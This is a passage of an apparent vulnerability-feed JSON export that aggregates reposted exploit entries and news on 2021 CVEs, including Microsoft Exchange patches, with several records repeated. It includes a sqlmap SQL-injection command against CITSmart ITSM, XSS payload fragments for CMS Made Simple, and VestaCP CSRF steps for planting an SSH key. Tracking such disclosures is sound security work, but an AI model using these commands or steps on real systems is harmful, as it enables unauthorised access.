https://www.exploit-db.com/\nhttps://www.nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\nnu11secur1ty <http: Source:packetst[...]", "creation_timestamp": "2026-09-08T08:00:05.965155Z"}, {"uuid": "0ba61652-b824-435e-bf43-a67819db08e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T10:00:06.284011Z"}, {"uuid": "e74d3b34-4c82-4ba6-a5ec-c495771d86ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-08T10:00:06.499077Z"}, {"uuid": "38f7edd3-2903-44a5-8c96-49dd438c8eca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28935", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/5996", "content": "Exploit Collector\nCMS Made Simple 2.2.15 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png \nCMS Made Simple version 2.2.15 suffers from a reflective cross site scripting vulnerability.\n\nMD5 | 1bd97d4c76ab1904826cf2601e327f7c\n\nDownload\n# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)\n# Date: 2021/03/19\n# Exploit Author: bt0\n# Vendor Homepage: http://www.cmsmadesimple.org/\n# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip\n# Version: 2.2.15\n# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935\n\n-----------------------------------------------------------\n\nIf you log into Admin panel and open My Preferences you could be able to exploit XSS in title field\n\nReflected XSS in /admin/addbookmark.php\n\nSome payloads that works:\n\n\">\n\">\n63311';alert(1)//812\n//-->\">'>\n\n------------------------------------------------------------\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T10:00:07.491358Z"}, {"uuid": "27c69d50-a44a-4cf3-96e7-1d1b1dfbda14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-09T00:00:33.356268Z"}, {"uuid": "6af7721c-9499-460e-9030-753616bdae54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-09T00:00:33.406348Z"}, {"uuid": "75834dc4-1dc7-448f-a4bb-426e33fa59d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-09T00:00:33.452964Z"}, {"uuid": "7490dfe8-3109-4666-b99f-b6007aeb0033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "published-proof-of-concept", "source": "https://t.me/vulns/382", "content": "Microsoft Exchange Server RCE, CVE-2021-28482:\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-09-09T00:00:28.326363Z"}, {"uuid": "1737fa5e-498f-43c6-a0cc-1ed55a3a64ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28379", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/1478", "content": "Exploit Collector\nVestaCP 0.9.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png \nVestaCP version 0.9.8 suffers from a cross site request forgery that can be leveraged to add remote ssh access.\n\nMD5 | 0cd72aff04a0cdb12d80f6b96cd818ed\n\nDownload\n# Exploit Title: VestaCP 0.9.8 - File Upload CSRF\n# Exploit Author: Fady Othman \n# Date: 16-03-2021\n# Vendor Homepage: https://vestacp.com/\n# Software Link: https://github.com/myvesta/vesta\n# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39\n# CVE ID: CVE-2021-28379\n# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355\n\n## Description\nI found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under \"/tmp\" and under the home folder (usually \"/home/admin\"), the later is the one that is important for this exploit to work.\n\nI was able to use this to create a \".ssh\" folder in the admin home and upload \"authorized_keys\" file which allowed me to access the server later as \"admin\" using SSH.\n\nSince this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added \"authorized_keys\" file, it will be replaced with the attacker's file.\n\nAffected endpoint: \"/upload/index.php\", i.e. \"/upload/index.php?dir=/home/admin/.ssh/\"\n\n## Steps to reproduce.\n1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.\n2. Login as the admin in Firefox, then open \"exploit.html\".\n3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.\n\n# exploit.html \n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:28.783940Z"}, {"uuid": "14e440f2-c7fb-4980-8ef2-bf4442d039b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "https://t.me/hacking_Attack/1685", "content": "hacking: security in practice\nZoom Unintended Screen Sharing Vulnerability POC (CVE-2021-28133)\n\nhttps://b.thumbs.redditmedia.com/mKiWB9x9Ha0hek1Dz4G_wHoia65XvdXJplCM7NBrdAw.jpg submitted by /u/Vulmon \n[link] [comments]", "creation_timestamp": "2026-09-09T00:00:29.090047Z"}, {"uuid": "4e7b2645-b908-4e50-8469-61cc9b80728a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28935", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/5996", "content": "Exploit Collector\nCMS Made Simple 2.2.15 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png \nCMS Made Simple version 2.2.15 suffers from a reflective cross site scripting vulnerability.\n\nMD5 | 1bd97d4c76ab1904826cf2601e327f7c\n\nDownload\n# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)\n# Date: 2021/03/19\n# Exploit Author: bt0\n# Vendor Homepage: http://www.cmsmadesimple.org/\n# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip\n# Version: 2.2.15\n# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935\n\n-----------------------------------------------------------\n\nIf you log into Admin panel and open My Preferences you could be able to exploit XSS in title field\n\nReflected XSS in /admin/addbookmark.php\n\nSome payloads that works:\n\n\">\n\">\n63311';alert(1)//812\n//-->\">'>\n\n------------------------------------------------------------\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:34.174924Z"}, {"uuid": "42550833-e4f5-4234-896c-a8f082fe2008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:33.107513Z"}, {"uuid": "8877f27a-a524-4d77-90e8-38888e964e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-09T00:00:33.283341Z"}, {"uuid": "53c7b28c-33fc-4874-83fb-f5f2caca57b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg 